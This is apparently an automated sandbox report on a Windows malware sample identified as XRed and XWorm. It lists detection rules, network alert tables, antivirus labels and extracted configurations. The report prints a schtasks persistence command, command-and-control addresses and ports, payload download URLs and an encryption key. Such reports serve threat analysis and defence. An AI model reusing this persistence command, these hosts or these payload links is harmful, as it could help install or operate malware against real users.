Author: vburov: Data: Command: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\svchost.exe, NewProcessName: C:\Users\user\AppData\Roaming\svchost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_file.exe" , ParentImage: C:\Users\user\Desktop\._cache_file.exe, ParentProcessId: 4664, ParentProcessName: ._cache_file.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\svchost.exe" , ProcessId: 1292, ProcessName: svchost.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\svchost.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\svchost.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_svchost.exe" , ParentImage: C:\Users\user\Desktop\._cache_svchost.exe, ParentProcessId: 4716, ParentProcessName: ._cache_svchost.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\svchost.exe", ProcessId: 7268, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE Snake Keylogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:10:46.859580+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49717	142.250.74.206	443	TCP
2025-01-02T20:10:47.059638+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49716	142.250.74.206	443	TCP
2025-01-02T20:10:47.964738+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49719	142.250.74.206	443	TCP
2025-01-02T20:10:48.087487+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49723	142.250.74.206	443	TCP
2025-01-02T20:10:48.978485+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49727	142.250.74.206	443	TCP
2025-01-02T20:10:49.121749+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49729	142.250.74.206	443	TCP
2025-01-02T20:10:50.030967+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49734	142.250.74.206	443	TCP
2025-01-02T20:10:50.250722+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49736	142.250.74.206	443	TCP
2025-01-02T20:10:51.606067+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49747	142.250.74.206	443	TCP
2025-01-02T20:10:51.616458+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49748	142.250.74.206	443	TCP
2025-01-02T20:10:52.632472+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49752	142.250.74.206	443	TCP
2025-01-02T20:10:52.658005+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49754	142.250.74.206	443	TCP
2025-01-02T20:10:53.729370+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49756	142.250.74.206	443	TCP
2025-01-02T20:10:53.756738+0100	2044887	1	A Network Trojan was detected	192.168.2.7	49757	142.250.74.206	443	TCP
2025-01-02T20:10:54.565012+0100	2044887	1	A Network Trojan was detected	192.168.2.7	55997	142.250.74.206	443	TCP
2025-01-02T20:10:54.565153+0100	2044887	1	A Network Trojan was detected	192.168.2.7	55996	142.250.74.206	443	TCP
2025-01-02T20:10:55.585004+0100	2044887	1	A Network Trojan was detected	192.168.2.7	56000	142.250.74.206	443	TCP
2025-01-02T20:10:55.585795+0100	2044887	1	A Network Trojan was detected	192.168.2.7	56001	142.250.74.206	443	TCP
2025-01-02T20:10:56.772937+0100	2044887	1	A Network Trojan was detected	192.168.2.7	56006	142.250.74.206	443	TCP
2025-01-02T20:10:56.782753+0100	2044887	1	A Network Trojan was detected	192.168.2.7	56008	142.250.74.206	443	TCP
2025-01-02T20:10:57.810187+0100	2044887	1	A Network Trojan was detected	192.168.2.7	56011	142.250.74.206	443	TCP
2025-01-02T20:10:57.827925+0100	2044887	1	A Network Trojan was detected	192.168.2.7	56010	142.250.74.206	443	TCP
2025-01-02T20:10:58.830283+0100	2044887	1	A Network Trojan was detected	192.168.2.7	56017	142.250.74.206	443	TCP
2025-01-02T20:10:58.840619+0100	2044887	1	A Network Trojan was detected	192.168.2.7	56018	142.250.74.206	443	TCP
2025-01-02T20:10:59.737137+0100	2044887	1	A Network Trojan was detected	192.168.2.7	56023	142.250.74.206	443	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:10:47.535888+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.7	49720	69.42.215.252	80	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:11:01.536134+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:12.226015+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:12.609179+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:23.644982+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:34.690442+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:42.219370+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:45.738837+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:52.504095+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:52.758453+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:53.105390+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:53.704763+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:54.008379+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:04.298955+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:04.550746+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:07.553242+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:09.815306+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:12.233844+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:20.862077+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:31.003277+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:33.398465+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:34.044451+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:42.242944+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:45.087973+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:49.055707+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:00.289743+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:04.113728+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:04.365467+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:04.867662+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:05.368222+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:07.949519+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:12.243256+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:16.191740+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:16.443977+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:21.456005+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:21.708176+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:27.714892+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:28.054370+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:37.593125+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:37.844954+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:42.258000+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:43.627823+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:43.904524+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:48.859152+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:59.893250+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:10.944950+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:12.266281+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:22.000824+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:33.033756+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:34.753676+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:36.159844+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:36.422305+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:36.761761+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:37.418583+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:42.273490+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:45.424958+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:56.471933+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:15:07.518618+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:15:12.274248+0100	2852870	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:11:01.565166+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:12.611411+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:23.646730+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:34.693564+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:45.740564+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:52.511003+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:52.761193+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:53.106955+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:53.367798+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:53.373032+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:53.706918+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:11:54.010187+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:04.301023+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:04.553882+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:07.559405+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:09.824146+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:20.863919+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:31.038289+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:33.401114+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:34.046611+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:34.741340+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:34.808116+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:45.092117+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:12:49.062009+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:00.548341+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:04.117542+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:04.367595+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:04.617818+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:04.869779+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:05.120000+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:05.127576+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:05.371999+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:07.951331+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:16.193694+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:16.445731+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:16.702119+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:16.707242+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:21.458190+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:21.711092+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:27.720042+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:28.057618+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:37.594968+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:37.846765+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:38.098014+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:43.629785+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:43.906608+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:44.160027+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:44.167115+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:48.860709+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:13:59.895563+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:10.946894+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:22.006220+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:33.035827+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:34.755480+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:36.161590+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:36.428025+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:36.763140+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:37.459580+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:45.425709+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:14:56.472576+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP
2025-01-02T20:15:07.519359+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP

ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:11:12.226015+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:11:42.219370+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:12.233844+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:12:42.242944+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:12.243256+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:13:42.258000+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:12.266281+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:14:42.273490+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP
2025-01-02T20:15:12.274248+0100	2852874	1	Malware Command and Control Activity Detected	45.141.26.134	7000	192.168.2.7	49740	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:13:03.768099+0100	2855924	1	Malware Command and Control Activity Detected	192.168.2.7	49740	45.141.26.134	7000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe	Avira: detected
Source: file.exe	Avira: detected
Source: file.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/Synaptics.rard	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SUpdate.ini0	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dll6	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/Synaptics.rarZ	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SUpdate.iniZ	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\._cache_file.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\ProgramData\Synaptics\RCXB47F.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCXB47F.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Roaming\svchost.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Roaming\svchost.exe	Avira: detection malicious, Label: TR/Spy.Gen
Source: C:\Users\user\AppData\Roaming\svchost.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\Desktop\._cache_svchost.exe	Avira: detection malicious, Label: TR/Spy.Gen
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	Avira: detection malicious, Label: TR/Inject.elvwr
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\svchost.exe	Avira: detection malicious, Label: TR/Spy.Gen

Found malware configuration

Source: file.exe	Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}
Source: 00000007.00000002.4006645405.0000000002991000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Xworm {"C2 url": ["45.141.26.134"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "svchost.exe"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\RCXB47F.tmp	ReversingLabs: Detection: 95%
Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\Desktop\._cache_file.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\Desktop\._cache_svchost.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\Documents\~$cache1	ReversingLabs: Detection: 95%
Source: C:\Users\user\svchost.exe	ReversingLabs: Detection: 86%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 89%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\._cache_file.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\RCXB47F.tmp	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\svchost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\._cache_svchost.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\~$cache1	Joe Sandbox ML: detected
Source: C:\Users\user\svchost.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	String decryptor: 45.141.26.134
Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	String decryptor: 7000
Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	String decryptor: <123456789>
Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	String decryptor: <Xwormmm>
Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	String decryptor: V5.8
Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	String decryptor: svchost.exe
Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	String decryptor: %Userprofile%

Source: Fulloptionnew_by elegance.exe, 00000004.00000002.3993778104.00007FF771F0C000.00000002.00000001.01000000.00000008.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_208d36d1-f

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:49751 version: TLS 1.2
